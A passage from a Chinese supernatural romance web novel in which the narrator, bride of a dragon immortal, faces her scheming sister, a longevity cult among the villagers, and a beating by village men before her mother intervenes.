“村里人怀蛇胎,姐姐被吊死,这些事应该是你做的吧?”我趁机问到底。
他突然停下步子,转身,面向我,修长玉指捏住我的下颌,明眸染笑地凝视我,
“本尊说过,这一切,都是他们咎由自取,敬酒不吃吃罚酒。”
我身上打了个寒颤。
“宋花枝修炼成长生媚术,反噬来临,他们都得死,本尊只是顺应天命,顺手给他们加点料,让他们死得更惨点。
他们为了自保,只能将阿鸾乖乖交给本尊。愚蠢的凡人,贪心不足,死不足惜。”
我低头小声说:“他们再蠢,也是我的族人,我没法眼睁睁看着他们一夜之间全部死去。”
“月阴村,三百年前就该绝迹了。这三百年,是本尊给这个村子留有一线生机,可他们,却想设计占有本尊的爱人。不给他们点颜色瞧瞧,本尊颜面何在。”他冷冷说道。
我猛吞了口口水,被他身上的寒意给激得背上一凉,把手抽回来逃避道:“我、我去拔点菜,给你做晚饭。”
他看着自己抓空的那只手,目光深深。
但我最近可能有点走霉运,刚出门去屋后菜园子拔菜就撞见了之前欺负过我的李三和王麻子。
这会子的李三已经因为长生媚术失效而变回了原来的跛脚秃头老鳏夫模样,王麻子顶着一脸黑斑,正用草茎剔牙。
见到我,我们双方都被吓了一跳。
我拎着菜篮子往后退了两步,王麻子则惊得原地蹦起来,恐慌大叫道:“妖、妖女!”
李三也一脸警惕地瞪着我,连连后退,六神无主的蹲下身就捡起了一块干泥巴朝我砸过来:“妖女,去死!”
幸亏我躲得及时,泥巴只砸到了我的肩膀,并没有摔我脸上。
王麻子见状学李三从地上捡泥巴砸我……
“妖女,死远点!你这个妖女,都怪你!害我们变老失去长生!我砸死你!”
一个人砸我我还能勉强躲一躲,两个人一起上手我就有点应接不暇了。
干泥巴块一个接一个打在我身上,我疼得抬手臂护住脑袋。
就在我被砸得满身是灰时,突然有条胳膊遮在我脑袋上,护住了我。
我惊讶昂头,才发现保护我的人是李大叔。
李大叔黑着脸呵斥一声‘滚’,李三和王麻子顿时就被吓得仓皇跑了。
等人跑远,李大叔才伸手帮我拍身上灰尘,关心道:“没事吧?他们都疯了,别和他们一般见识。”
我抖干净身上的碎泥巴,摇头说:“没事。”
李大叔意味深长地看了我一阵,主动拎走我手里的菜篮子,道:“我送你回去。”
我愣住,张嘴正想拒绝,却听李大叔又说:“那位龙仙,对你还不错吧?他不是坏东西,得了道的仙家,就算性格阴郁,也不会有害人之心。”
“李大叔你……”我不明所以地看着他。
他深叹了口气:“我去拜会他,他守了月阴村这么多年,身为村里的一份子,该去向他道声谢。”
李大叔原来是想见龙仙……
我把李大叔带进家门,碰巧撞上妈和老六叔出门。
妈一见李大叔就没好脸,沉声质问:“你来干什么?”
李大叔也不惯着妈,拎着菜篮子回了句:“能来干什么,我来求见龙仙。”
我妈冷笑了声:“你还真是会见风使舵。”
说完,带着老六叔大步朝村头走去。
老六叔从我身边走过时,还目光阴翳地瞥了我一眼。
我把李大叔带进东院,从他手里取下菜篮子。
他将院子里里外外打量一遍,一阵阴风扫过,银发龙仙出现在他身后。
他有所感应地顿了顿,转身,朝龙仙拱手一礼:“龙仙。”
银发龙仙拂袖走到我身边,把我的手从菜盆里拿出来。
变出一张干净帕子给我擦干手上水渍,体贴道:“井水凉,放着本尊来。”
我诧异看他,他把帕子塞进我掌心,捞起宽大的袖摆,没有仙家架子的帮忙用水龙头的井水清洗菜叶。
“玄门中人?”他问。
李大叔点头:“以前是,现在是一介散人。”
“来找本尊,有事?”
李大叔恭敬谦卑道:“龙仙下山,我等理应来求见,感谢龙仙多年庇护之恩。”
“这是本尊与月阴村的交易,就算要感谢,也轮不到你一个外人来谢恩。”
李大叔瞧着龙仙,深深叹息:
“龙仙的夙愿已了,可龙仙身上的怨气太重,长此以往,不利修行。
龙仙就算不为自己的前程考虑,也要为小鸾镜考虑,她能复活,已经是逆天而行。
如若再造杀孽,怕她命不久矣。”
龙仙洗菜的手一顿。
下一秒,竟化风瞬移到李大叔跟前,脸色阴冷地出手,猛地扼住李大叔脖颈,冷冷审问:
“你怎么知道这些?你,调查本尊?那本尊,就留不得你了!”
第一卷 第12章 李三要给花枝报仇
李大叔顿时就被龙仙掐得面容青紫,喘不上气,但即便如此,也还在拼尽全力、磕磕巴巴地提醒龙仙:
“你的、神劫,迫在眉睫……还是得、积德行善……不然、万劫不……”
“找死!”龙仙没等李大叔说完就加大手上力度,似乎下一秒就能拧断李大叔的脖子。
我见情况危急赶紧跑过去抓住龙仙的胳膊,颤着声替李大叔求情:
“龙、阿漓!别、别杀人……求求你,别杀李大叔,他是好人!”
男人眼底的阴霾在听见我的声音后缓缓散去,目光撞上我急切担忧的眼神,手上松了力度。
挥袖将李大叔甩在了地上。
我赶忙去把李大叔扶起来,李大叔深深看着龙仙,猛喘两口气,哑着嗓音解释:“我没有恶意,言尽于此,还望龙仙三思。”
说完,李大叔拍拍我的手背,示意我不用再扶了,转头撑着老腰一瘸一拐地离开东院。
龙仙睨了眼他的背影,捂住胸口闷咳一声。
我老实走近他几步,犹豫着挽住他胳膊:“你、刚才有点凶。”
他闻言愣住,两秒钟后,他抱住我,耐心认错:
“本尊下次不在阿鸾面前生气了,阿鸾别怕,本尊不会伤害你。”
我平静下来,壮着胆子抬手,也轻轻抱住他。
——
村里的邻居们死而复生后,我才是骨仙转世的消息就瞒不住了。
族人们对我又怕又恨。
而我只要一出门,就会被村里人指指点点。
姐姐在家里倒是消停了点,但白天我好像看见妈和老六叔开了祠堂。
太阳一下山,就又有男人钻进了我姐姐的房间!
我站在东院门口,看着姐姐房里的那点烛光陷入迷茫。
龙仙悄无声息的来到我身后,顺着我的视线望过去,轻嗤一声:
“看来,你母亲已经找到能让宋花枝恢复年轻的办法了,动作还挺快。”
我错愕回头看他,“难道恢复年轻的法子,是要姐姐继续和那些男人……”
后面的话我实在说不出口。
龙仙没有直接回答我,而是用眼神示意我往姐姐门口看。
我好奇地听话瞧过去,却见到几名中年汉子从姐姐房里出来,边走边拎着裤腰带。
几人压低嗓子的说话声也瞬间放大百倍,灌入我的耳中——
“原以为花枝不是骨仙转世,我们就不能再尝到这小妖精的滋味了,没想到,竟还有机会和她欢好。
重点是,族长说了,花枝虽然没有炼成长生媚术,但花枝已经成了咱们的守族仙。
和花枝欢好虽不能像从前那样变年轻,但却可以保证自己不再苍老,而且花枝的身体还能治病!”
“嗨,好是好,但你刚才在蜡烛光下没看见花枝现在的模样吗?老的像我妈!要不是为了治我的哮喘,我都不好对她下手。”
“就是,以前摸花枝的皮肤紧致滑嫩,今晚却是粗糙硌手,她身上那层皮都暗沉无光了!但是为了不变老,也只能这样了。以后不能再给家里老小带洗身水喽!”
“呸,自身都难保了,还能顾得上家里的婆娘和老娘?不过咱们也别着急,族长不是说了么,花枝其实是魅女转世。
魅女再差劲,也能帮咱们延年益寿,魅女是靠这种事修炼的,用不了多久,花枝就能变回原来的样子。”
“说来说去,花枝也没吃亏嘛!我们出力,花枝保我们不受生老病死折磨,这笔买卖划算得很!”
说着,几人哈哈大笑着离开了我家。
我看着那几道比我妈岁数还大的肮脏老男人背影,忽然觉得反胃,想呕……
捂住嘴赶紧跑回院子里,拿起井边水瓢灌了一口冰凉井水,这才压下了胃里翻涌的灼气。
男人跟过来,清冷月华落在他一袭青衣上,皑皑华发被风拂起两缕,眉心一抹红痕在微凉月夜里更显妖异……
“被恶心到了?”男人伸手,体贴地给我拍了拍后背。
我抬袖擦了擦嘴,捂着胸口大喘气,庆幸道:
“还好,你当年咬了我一口,让我毁了容。不然我实在接受不了自己要像姐姐这样,和村里的男人们……长生媚术究竟是救人还是害人!”
“法术没有好坏之分,可以救人也可以害人,得看使用它的人如何做。”
龙仙扶住我,冷漠道:“你姐姐本可以就此过上安稳日子,但她不甘心从高高在上的圣女沦落为普通人,她贪心不足,迟早会自食恶果。”
说着,又好心提醒我:“阿鸾,不要想着拯救她,你没这个能力。好言难劝该死的鬼,你如果再对她大发善心,下次她就不止要扒你的皮了。”
我清楚他说的都是事实,听话点头:“我记住了。”
“把手给我。”龙仙说。
我不解地把手递给他,他捧住我的手,用指尖在我掌心轻轻一点,瞬间一缕青色幽光没入我的手心血肉。
“你在干什么?”我好奇地小声问。
他将我的手握住,思虑周全道:
“你母亲和姐姐都不是好人,本尊怕你性子软,又被她们母女三言两语给骗了,本尊在你身边时,尚能保护你,若本尊一时疏忽,或者暂时不在你身畔,她们想对你下手,你得有能力自保。
这是控蛇术,遇见危险时喊本尊的名字,本尊会立即感应到。念出咒语,可以唤出附近蛇类保护你,咒语是,巳巳如意。”
“事事如意?”
这个咒语还挺顺口。
他弯唇,眼底似有万千海中繁星:“巳蛇的巳。”
我合拢掌心,恍然明悟:“哦,记住了!”
没想到小时候怎么练都练不成的控蛇术,他竟然能直接把这项特异能力送给我。
“阿鸾。”他揽住我,把反应迟钝的我抱进怀里,意味深长地说:“本尊以后,是你的了。本尊把命交给你,你可要善待本尊。”
我怔在他怀里,这位龙仙大人好像很喜欢抱我……
上辈子,应该很爱我吧。
我迟疑着抬手,也抱住他的窄腰,歉意同他说:“再给我点时间,我能慢慢接受你的存在。”
他轻笑,答得爽快:“好。”
——
次日,我从外面买东西回来,一进家门就见到了背影纤瘦,身形恢复如初,腰可盈握肤如凝脂的姐姐。
姐姐听见我的脚步,缓缓转身,摘下面纱露出年轻貌美的妖媚容颜。
我震惊地直勾勾盯着姐姐这张比往日更妩媚的脸,没想到才短短一夜时间,姐姐就已经完全恢复了……
姐姐看见我的反应,满意地扬唇,勾起一抹讥讽的笑色:“没想到吧,就算你不把皮给我,我也有是办法恢复青春貌美!”
纤纤玉指抚弄鬓角一簇海棠花,姐姐照常穿着象征圣女身份的白纱吊带与深蓝长裙,腰腹裸露在外,小腹处系着一条红绳,绳上拴着一枚铜花铃铛。
走起路来,如弱柳扶风,腰下铃铛摆得叮叮作响。
“妈说了,虽然你才是骨仙转世,但我生来体带媚香,也不是凡俗中人,本应该是修炼长生媚术的好苗子,但我体内灵气太杂,没有你体内灵气纯粹,所以才会修炼长生媚术失败,惨遭反噬……”
暗暗握紧十指,姐姐绕到我身后,一只手重重搭在我肩上,皮笑肉不笑地同我继续道:
“但我已经是九黎族圣女了,已经修成了月阴村的守族仙,只要我换种方式修炼,依旧能保族人不老不死,无病无灾。
我现在,还是村民心目中最高贵的守族仙,而你,等着遭族人唾弃,被村民们憎恨吧!
宋鸾镜,等着吧,守族仙是我的,青龙仙也是我的!
等我媚术大成,让青龙仙也拜倒在我裙下时,我一定让你求生不得求死不能!”
说完,她还扬起巴掌要打我。
但我现在已经认清事实,明白就算我再讨好她们,真心待她们,她们也不会拿我当亲人。
我不想再忍她们了!
巴掌落下来,却被我出手扼住她的手腕挡了下来。
她惊讶瞪大眼,我挥手猛地甩开她的爪子,没好气道:
“你想抢就去抢,不怕死尽管打青龙仙的主意!你喜欢做圣女,就一辈子焊死在守族仙的身份上。你的圣女身份,我不稀罕要!”
我拎上东西回东院,姐姐愣了愣,随即又在我背后大声吼道:
“宋鸾镜!你装什么清高呢,你敢说你从没羡慕过我?你敢说,小时候你没有偷偷穿过我的圣女服?你嘴上说着不稀罕,实际上你心里特别想要。
我告诉你,想从我手里夺东西,没门!你就算现在嫁给了青龙仙又怎么样,从小到大我想要的,就没有得不到的!
你就算脸上没有那些恶心的青纹,你也别想骑到我头上,我才是月阴村最漂亮的女人!”
她大声嘶吼,发泄自己的满腔怨恨。
我当做没听见,迈进小院子把刚买两斤鲜肉放在小厨房里。
晚上有空改善伙食包饺子!
青龙仙白天不在家,也不晓得去了什么地方。
我出门没和他打招呼,他出门也没和我说一声,我俩可真是最亲近的陌生人。
等到中午也没见青龙仙回来,正好银杏发信息喊我去李大叔家蹭饭,我二话没说就拎着一筐橘子去了。
蹭饭要有礼貌,俗话说有来有往,关系才能处得长久。
虽然李大叔平日待我特别好,我和银杏能玩到一块,他从前也经常留我在家吃饭,但总吃人家的不拿些东西出来,委实有点贪得无厌了。
橘子是上午刚买的,分了一半留给青龙仙。
也不知道龙喜不喜欢吃水果。
网上说龙以海鲜为食,可我们这穷乡僻壤的地方,街头哪有卖海鲜的。
我想过捞一袋河虾回来给龙仙开开荤,但河虾的价格略有点贵。
思来想去我还是觉得……
假如龙仙大人真乐意委屈点,吃河虾,那他还不如一头扎河里吃新鲜的呢……
他想吃,大不了我再带他找条河虾多的小水池,让他吃个够……
也省了买虾的钱了。
后来,我用买虾的钱买了两斤猪肉。
成天吃海鲜应该会腻吧,换换口味龙仙大人应该能接受吧……
我掐着饭点冲到了李大叔家,一进门就见李大叔和银杏已经把三盘家常小菜摆上了。
我毫不见外地放下橘子,去厨房取了碗筷坐到银杏旁边去。
银杏看我这么轻车熟路,夹了块嫩豆腐放进我碗里,打趣道:
“爸还担心你来迟了饭菜会凉呢!我和他说,菜一出锅镜镜保准马上就到,他还不信!”
我端着饭碗厚脸皮冲李大叔笑道:“叔你小瞧我了吧,我蹭饭特别积极!”
李大叔给自己倒了杯白酒,和蔼问我:“今天你家那位龙仙不在家?”
我点头:“对啊,上午我从集上回家就没见到他,要不然我也不会来你们这蹭饭呀。”
“他,应该去忙别的事了,他刚下山,附近妖物总得收拾收拾。”李大叔抿了口小酒。
我扒着饭不太明白:“关附近的山妖什么事啊?龙仙,还管抓妖吗?”
李大叔摇摇头,郑重其事地告诉我:
“一山不容二虎,九黎山这一带,自从三百年前龙仙过来闭关时,百妖就以龙仙马首是瞻,奉龙仙为王。
可是三十年前,月阴村来了条野狐仙,那野狐仙逼着九黎山附近的妖物去外面帮自己吸取凡人阳气。
山里但凡有不服野狐仙管教的妖物,都会被野狐仙剥了皮生吞了。
由于月阴村与龙仙之间有交易在,所以野狐仙一直没敢动月阴村。
二十年前月阴村与龙仙之间的交易期满,你母亲为了保护整个月阴村,和野狐仙也达成了协议,这才令月阴村太平至今,但别的村子可就不安生了。
像前头的刘家湾村,已经两年多没听见孩子的声音了。”
“野狐仙?”我意外道:“我只知道月阴村附近有不少修炼得道的动物仙,我一直以为那些动物仙不会伤人。”
“月阴村居住的乃是九黎族后人,动物仙向来和月阴村井水不犯河水,而且月阴村上面还有个龙仙庇护着,它们当然不会伤人。
但三十年前来的那只野狐仙不是正道上的东西,他一过来就逼着山里那些奉龙仙为王的动物仙们做自己的手下。
那时候,可能龙仙也不大想管山里的闲事了,野狐仙就趁机在九黎山一带自立为王,这些年,可将周边村落给祸害得不轻。”
李大叔说完,银杏也扭头补充道:“镜镜你这好几年都不在家,不知道这些事,我爸近几年隔三岔五就被前头那些村子给请过去看事,那些妖物们都特别厉害,有一回连我爸都差点死在它们手里!”
我想了想,追问道:“李大叔你说我妈和野狐仙达成了协议?是什么协议?”
能让野狐仙动心的条件,应该不简单吧。
李大叔抿着白酒,拧眉严肃道:“和你姐姐有关,不过准确说,应该和你有关。”
我越发听不懂了:“啊?”
李大叔看着我回答道:
“你妈和野狐仙达成的协议是,只要野狐仙永不骚扰月阴村,就让骨仙和野狐仙双修。野狐仙贪图骨仙身上的仙气,就一口应下了。
你姐姐从十四岁开始,就与男人们有接触,每个月都会和野狐仙双修一次。
之所以这么多年你姐姐始终没有露出破绽,被野狐仙发现她不是真正的骨仙,是因为野狐仙也迷恋上你姐姐体中的媚香了,你姐姐身上的媚香也是种邪物,能帮妖孽提升修为。
按理说……你这次回来,应该撞见过野狐仙与你姐姐在一起。你姐姐升仙礼前几天,野狐仙还进了月阴村。”
我拿着筷子仔细回想了一下,点头:
“我回来的头一天,傍晚时分,太阳还没下山,就看见一条灰狐狸钻进了姐姐房里,然后姐姐房中就传出了男人的低吟声。
那会子我以为姐姐房里有别人,就没好意思敲门去一探究竟,后来也没听姐姐那有其他怪动静,我还怀疑是我眼花了……
第二天我才在妈口中得知,姐姐为了修炼长生媚术,还时常和动物仙在一起。
现在想来,我撞见的那只灰狐狸应该就是李大叔你说的野狐仙了吧!”
李大叔颔首:“对,野狐仙的本体就是只灰狐狸。”
“那、我家那位龙仙今天是去收拾野狐仙了?”
李大叔嗯了声,给我夹菜:
“大概率是。从前龙仙没下山,野狐仙在下面怎么折腾龙仙都可以睁一只眼闭一只眼,可现在龙仙已经下来了,九黎山一带妖物们的掌控权龙仙肯定是要拿回来的。
况且,那只野狐仙野心勃勃,你才是骨仙转世的消息已经散布出去了,他的目标始终都是骨仙,如果不尽快铲除他,下一个遭遇他毒手的人,可能就是你。
龙仙为了保你,肯定会先解决这个隐患。如果,晚上青龙仙是负伤回来的,那就证明他确实是出去打架了……
鸾镜,青龙仙是为了你才来到月阴村的,你不用害怕他,他不是坏人。”
我扒了口饭,认真点头。
我当然知道青龙仙对我好,不会伤害我……他意乱情迷时的深情告白,不像有假。
银杏热情地给我夹了半碗菜,开心道:
“晚上我要去同学家吃席,是红事,他哥哥娶老婆,办的中式婚礼,你要不要和我一起去蹭饭?”
我摇摇头拒绝道:“不了,我还要回家等我家龙仙回来呢,万一他都到家了我还在外浪,我怕他会炸毛。”
银杏吐舌头调皮逗我:“龙没有毛,龙只有鳞!”
我一本正经地反驳:“谁说的,神话传说里龙有鬃毛的……在脖子上,像流云一样。”
“可我看过年的年画上,龙就没有毛啊!要不然你回去让你家龙仙变回原形给你瞧瞧,看他脖子上有没有毛?”
“我不要命了啊!”
不过,说起来,我好像、见过龙仙大人的原形,而且还不止一次……
龙仙大人的原形不像龙,倒像一条身躯健壮庞大的青蛇。
但,这世间龙的形象只存在于神话传说中,没有人真见过神龙……
古籍上也记载龙和蛇有亲戚关系,或许龙就是大蛇的模样呢?
吃完饭,我和银杏刷完碗筷后,银杏趁着李大叔午休不管她,挎着我的胳膊要送我回家。
但路上,我们却被村里的几名中年男人给拦住了前路。
领头的正是上次想欺负我却被龙仙给吓得连滚带爬仓皇逃命的李三……
他身后站着的几道人影都是熟面孔——
王麻子、陈二爷、刘彪、赵黑子……
银杏挽住我的胳膊默默扯着我往后退了两步,警惕瞪着李三鼓起勇气问道:
“李三!你想干什么么?光天化日的,信不信我喊我爸揍你!”
李三不屑冷笑,拿着一根擀面杖在手里啪啪敲打,盯着我,目光不善地恼怒道:
“银杏小丫头你一边去,今天我们是代表村里的大老爷们来找这个小贱人算账的!”
找我算账?
我立马就想到昨天晚上就是这几个人进了姐姐的房间,而姐姐今天也说,让我等着被村民们憎恨……
肯定是她又往这些男人耳边吹枕头风了!
“你放屁!你说找镜镜算账就找镜镜算账啊?你算老几啊!镜镜可是我的好姐妹,她又没惹你们,你们今天闹着一出到底想干什么!”银杏仗义地将我护在身后。
李三拎着擀面杖指向我,咬牙切齿地凶狠道:
“她没惹我们?呵呸!要不是她,我们会变成现在这副样子吗?她就是个灾星贱种!
什么骨仙转世,就她也配称仙家?转生在我们月阴村,却不知道报答我们,她要是早点承认自己才是骨仙转世,我们至于差点连小命都丢了吗?
要不是她,花枝也不会被长生媚术反噬,要不是她,我们也不会鬼门关里过一遭!
小贱人还敢欺负花枝算计我们,我们今天非打她一顿泄气,让她知道爷爷们的厉害!
银杏你让开,你不让开我们连你一起打!”
“你敢!”银杏硬气地挡在我跟前掐腰大声道:“你今天敢动我和镜镜,我爸明天非把你们双手剁了!”
“呀,你还真是不知好歹!”李三急了眼,举起擀面杖就要真往银杏身上打来。
我赶忙拽开银杏,让李三一擀面杖抡个空。
银杏也被吓了一跳,“我去,你还真打!”
我把银杏扔自己背后,直面硬刚李三:
“你们自己被长生媚术反噬,为什么能怪到我头上?你们说我没有早点承认自己才是骨仙转世,你也说了,我是转世,我怎么知道自己是骨仙!
花枝她想做圣女,想当守族仙,修炼长生媚术是她自己的选择,没有人逼她!更何况,是你们自己认错了人,和我有什么关系?!
是你们贪心不足盲目追求青春长生,你们把自己作死了,还要我给你们收拾烂摊子,要不是我嫁给龙仙,求龙仙复活你们,你们早就埋在土里了!
你们现在要来找我撒气泄愤,你们有什么资格来找我麻烦!”
“你!”李三理亏得憋红了脸,用擀面杖指着我的鼻梁面目狰狞道:“要不是你设计花枝,我们怎么可能认错人!你自己不想献身,才让花枝顶替你!”
我不卑不亢地凝声质问:
“花枝一生下来就身带异香,那时候你们所有人,包括我妈,都认定花枝就是骨仙转世。
难道我刚出生就会设计别人吗?难道是我误导你们把花枝错认成骨仙的吗?
五岁那年,妈为了确认花枝的身份,特意开祠堂验明正身,那天妈还有你们所有人都在,你们只允许花枝进去,结果是什么,你们每个人都亲眼所见,难道也是我隔空做了手脚,改变了结果吗?”
“我、”李三被我怼得无话可说,自知不占理,握紧擀面杖恼羞成怒:“我打死你这个牙尖嘴利的小贱人!”
说着挥起擀面杖就一棍子用力砸在了我的脑袋上。
我脚下一踉跄,脑袋一偏,顿时头晕目眩,头疼欲裂。
一股燥热鲜血从鼻腔里涌了出来。
第13章 阿鸾,是谁伤的你!
“镜镜!”
银杏慌张扶住我,见我鼻头窜血,顿时就白了脸,抱紧我护在怀里,恼火地瞪着李三嘶声呵斥:
“你有病啊!你这样是犯法的!”
李三面目扭曲地磨着后槽牙哂笑:
“犯法?有本事你就去告我啊!只怕,你离不开月阴村!李银杏,你别忘记了,你和你那个野爹本来就不是我们月阴村的原住民,你们是从外面来的!
这月阴村里住着的都是我们九黎族人,你们爷俩要是还想在月阴村待下去,就少管闲事!”
“李三!”银杏还想和他争论,他却手一挥,直接下令:
“兄弟们,宋鸾镜不让咱们好受,咱们也不让她好过,打!把她往死里打!
打完了将她拖回族长家,她不是假清高嫌咱们恶心,不愿意修炼长生媚术吗?
咱们就先脏了她的身子再把她炼成媚体,让她助咱们年轻长生!”
这群人还真是令人作呕……
李三话音落下,王麻子几人相视一眼,纷纷提起手里的棍棒要朝我围殴过来。
我清楚以我和银杏两个女孩的力量根本无法与这群大男人们抗衡,搂住银杏,我闭上眼睛暗暗攥紧右手。
本想直接喊龙仙的名字,但又想起李大叔说,龙仙今天出门大概率是找野狐仙打架了。
我现在喊他,万一他正在和别人打个你死我活,突然被我分心让敌人找到机会暗算了可怎么办。
这不是害了他么!
再说这点小事,也没必要直接把他召唤过来亲自解决。
于是我在危急关头低声启唇念出咒语:“巳巳如……”
“住手!”
咒语还没念完,却听不远处传来一道熟悉威严的妇人训斥声。
这声音……是我妈!
我惊讶昂头,此时此刻李三的擀面杖正停在我额头上方不到二十公分距离处。
王麻子他们扭头看见大步流星赶来的我妈,赶忙收了棍棒,敬畏地朝我妈弯腰问好:“族长,您来了。”
李三也心虚地缩回擀面杖,双手背后望着我妈假笑:
“呦,今天什么风,把族长给吹来了……族长,您是不是又有需要我们的地方啊?族长您放心,有用得着我们的地方尽管开口,我们特别愿意为族长您效劳!”
王麻子刘彪等人也附和着连连点头:“对对对,族长你有什么事吱一声。”
“我们很乐意为九黎族的未来贡献一份力量的。”
我妈大步迈到我跟前,看了眼我脸上的血色,深呼一口气,神色阴沉地冷声骂道:
“你们真是放肆!活腻了!鸾镜再怎么说也是我生下来的孩子!是我宋淑贞的女儿,你们有什么不满,大可来找我!为难一个孩子做什么?”
“哎族长,这可不关我们的事,是老三,他喊我们过来,说是要替花枝和族人们教训教训小鸾镜,还说你不在乎小鸾镜,只要不把她打死你都不会追责。”
见我妈发火,刘彪立马将李三给供了出去。
陈二爷和赵黑子也着急推卸责任:“我们以为是您的意思,我们绝对不是想找您不痛快。”
“我们可还没来得及下手啊,刚才小鸾镜挨的那一棍是李三挥的!”
“你们这些怂货!”
李三见自己的队友们为脱罪果断把自己卖了,红着脸窝火的啐了几人一口:
“昨天晚上在花枝床上的时候,你们都是怎么说的!妈的,当时充什么英雄,现在搁族长面前一个二个屁都不敢放,敢做不敢认的孬种!”
昨天晚上……果然是宋花枝指使的。
我气极反笑,抬袖抹了把鼻头的滚烫。
妈听见动静用余光瞟了我一眼,皱眉警告道:“够了!以后不许再伤害镜镜,不然就别想再踏入我家大门!”
李三不服气地小声抗议:
“凭什么啊,要不是这个小贱人……我们也不至于一夜之间全都被打回了原形!族长,你精心筹谋了这么多年,忍心眼睁睁看着自己多年心血付之一炬么?
照我看,既然已经确认她才是骨仙转世,那不如让她也修习长生媚术,你既然能炼出一位守族仙,肯定能再炼出第二个!”
李三说完,赵黑子他们也接连应和:“李老三说得对啊!族长,你不如把鸾镜也炼成守族仙,这样我们就有两个守族仙了!”
刘彪色眯眯地盯着我,擦了把嘴角溢出来的口水,嘿嘿笑道:
“小鸾镜脸上干净后,看着还蛮漂亮的……比她姐姐还好看,尤其是这对桃花眼,跟会勾魂似的。把她也炼成守族仙,以后咱们就可以伺候她们姐妹俩了,双生姐妹花的滋味我还没尝……”
不等他把恶心话说完,我妈就毫不客气地狠狠甩了他一巴掌,将沉醉在美好幻想中的老男人啪一声打醒。
刘彪甩了下脑袋,猛地惊醒,对上我妈深邃阴冷的目光,打个寒颤:“族长……”
我妈冷哼一声,“你们把我家女儿当成什么了!谁你都敢动歪心思!我劝你们打消这个念头,镜镜,不可能成为守族仙!”
“为什么!”李三硬气反问。
我妈走到李三跟前,直视李三的眼睛,一字一句郑重道:
“因为镜镜是青龙仙的女人,你们打她主意,就是想毁了整个月阴村!”
一听青龙仙的名号,几个老男人顿时怂了。
陈二爷胆战心惊地低声问我妈:“那个、族长,听说青龙仙下山了,真的假的?”
我妈凝声道:
“当然是真的,青龙仙现在就住在我家东院,和镜镜在一起。
你们以后少碰镜镜,不然被青龙仙报复,家破人亡,可别怪我没有事先提醒你们!”
“是是是,我们记住了。”几个男人如芒在背地连连答应,刘彪一拳头擂在李三背上,责备道:“都怪你!偏要来给小鸾镜一个教训,我们差点都完蛋了!”
李三也被吓得魂不守舍:“完了,我刚才还给了她一棍子,龙仙不会杀了我吧……”
陈二爷在旁边幸灾乐祸:“嘁,活该!”
李三大难临头才晓得害怕,脸色苍白地赶忙冲我妈跪下,抓住我妈的本族繁重服饰裙摆,怯怯祈求:“族长,你救救我,救救我!”
我妈重重叹口气,捻着手里的檀木念珠,吩咐李三:“去,给龙娘娘磕三个头赎罪!请龙娘娘大发慈悲,不要计较这件事。”
李三这会子倒是听话,着急跪爬到我面前,冲我砰砰磕三个响头:
“龙娘娘恕罪!小人不该冒犯龙娘娘,请龙娘娘不要和龙仙告状,我上有老下有小,一大家子还指望我养活……”
呵,他还知道他上有老下有小。
当初他滥赌成性,他老婆只是劝他别再赌了,他就把他老婆活活打死了。
他瘫痪的老娘躺在床上嚷了两天两夜肚子饿,也没见他送一口汤水过去。
至于他儿子,小小年纪就被他带进赌场。
前几年和人赌博,不仅输了赖账,还失手把对方给打死了,现在还被关在监狱里没被放出来呢!
他自己呢,成天游手好闲,不是和张家寡妇厮混,就是和许家媳妇私会,村里老光棍的风评数他最差劲!
我抓着银杏的手往后退了两步,还没开口,我妈却先发话了:“行了,你滚吧!龙娘娘已经原谅你了,切记,下不为例!”
我愣住,不解地看向母亲。
我什么时候说原谅他了!
就算要原谅……他刚才那一棒子打得我现在还头晕目眩两耳嗡鸣,我至少得让他多给我磕几个,这件事才算过去。
可现在,又算什么?简简单单三个头,就能抵消他们刚才对我的伤害?
呵,我妈这个族长还真是公平公正……从小到大,我的命在她心里,都这么不值钱。
李三闻言,拿着擀面杖慌里慌张爬起来,带着王麻子等人逃命似的往回家方向狂奔。
我妈回头看向我,抬手给我抹去鼻头的鲜血:“很疼?先回家。我给你拿点止疼药。”
我深深瞧了母亲一阵,欲言又止,安静片刻,乖乖点头:“好。”
我和妈一起回家,就没让银杏再送我。
银杏不放心地犹豫良久,偷瞄了我妈好几眼,见我坚持要她先回去,才肯和我分开。
到了家,我妈帮我检查完脑袋,确认没有外伤后,就从抽屉里拿出一板止痛胶囊,帮我倒水,喂我服下。
“妈知道你受委屈了,你别怪他们,村里人没什么学问,见识浅薄没脑子。你和你姐姐的事我会向他们解释清楚的,让你嫁给龙仙去换花枝和他们复活,终究是妈和整个月阴村欠你的。”
“孩子啊,你是妈的女儿,妈怎么可能不疼你。只是妈不仅仅是你和花枝的母亲,还是九黎族的族长,妈身上的担子重,做决定之前,必须得为大局考虑,妈顾全大家,就肯定要疏忽小家。”
“这些年,妈对你和你姐姐都有亏欠……别怪妈。”
母亲轻轻将我抱在怀里,头一次用这么温暖的怀抱呵护我,满眼心疼地温柔抚摸我脑袋:
“镜镜,你是妈最懂事的孩子,你打小就比花枝宽容大度,这些妈都看在眼里。正是因为妈知道你懂事,善解人意,所以妈才放心把重心放在你姐姐身上……镜镜,你要体谅妈。”
母亲温言细语和我说这些话的时候,我是真的心软了。
脑袋虽然还在一阵阵发疼,可却被母亲柔软的手抚摸得很安心。
原来妈妈的掌心是这么温暖。
我顿时就心头一酸,乖乖抬手搂住母亲的腰,往母亲怀中再蹭蹭,贪心地想从母亲身上索取到更多爱:“好,我知道了妈。妈……我真的很爱你。”
哪怕你从不肯多分一束余光给我,次次都偏心姐姐,从小到大我也没有真怨过你。
只要你愿意给予我一丁点爱,我就会好了伤疤忘了疼。
“妈妈也爱你。”母亲拍着我的后背,柔声说。
——
我以为我妈还是有一点在乎我的,至少我受委屈她愿意来安慰我。
可能是因为,母亲身为九黎族的族长,肩上担子太重,在外人面前稳重冷漠久了,才不善表达自己对女儿的爱。
她今天愿意抱抱我,我就觉得很开心。
傍晚,我端着一盘包好的饺子准备送给母亲和姐姐。
母亲下午出门了,十来分钟前才回来。
宋花枝向来四肢不勤五谷不分,从不下厨做饭,每回都是母亲晚归还要立马着手给她做晚饭。
她是月阴村的圣女,是可以衣来伸手饭来张口的。
所以我料定这会子母亲还没来得及进厨房,我把饺子包好再送给她们,她们晚上烧锅开水煮一煮就能开饭,母亲就不用再多操劳了。
可就在我端着饺子走到母亲房门口准备敲门时,我突然听见门缝里传来宋花枝的委屈抱怨声:
“妈!她就是个小野种,你这么在意她干什么!你干嘛要拦着李三他们啊,我这几天受了一肚子委屈,不打她一顿解解气,我难受!”
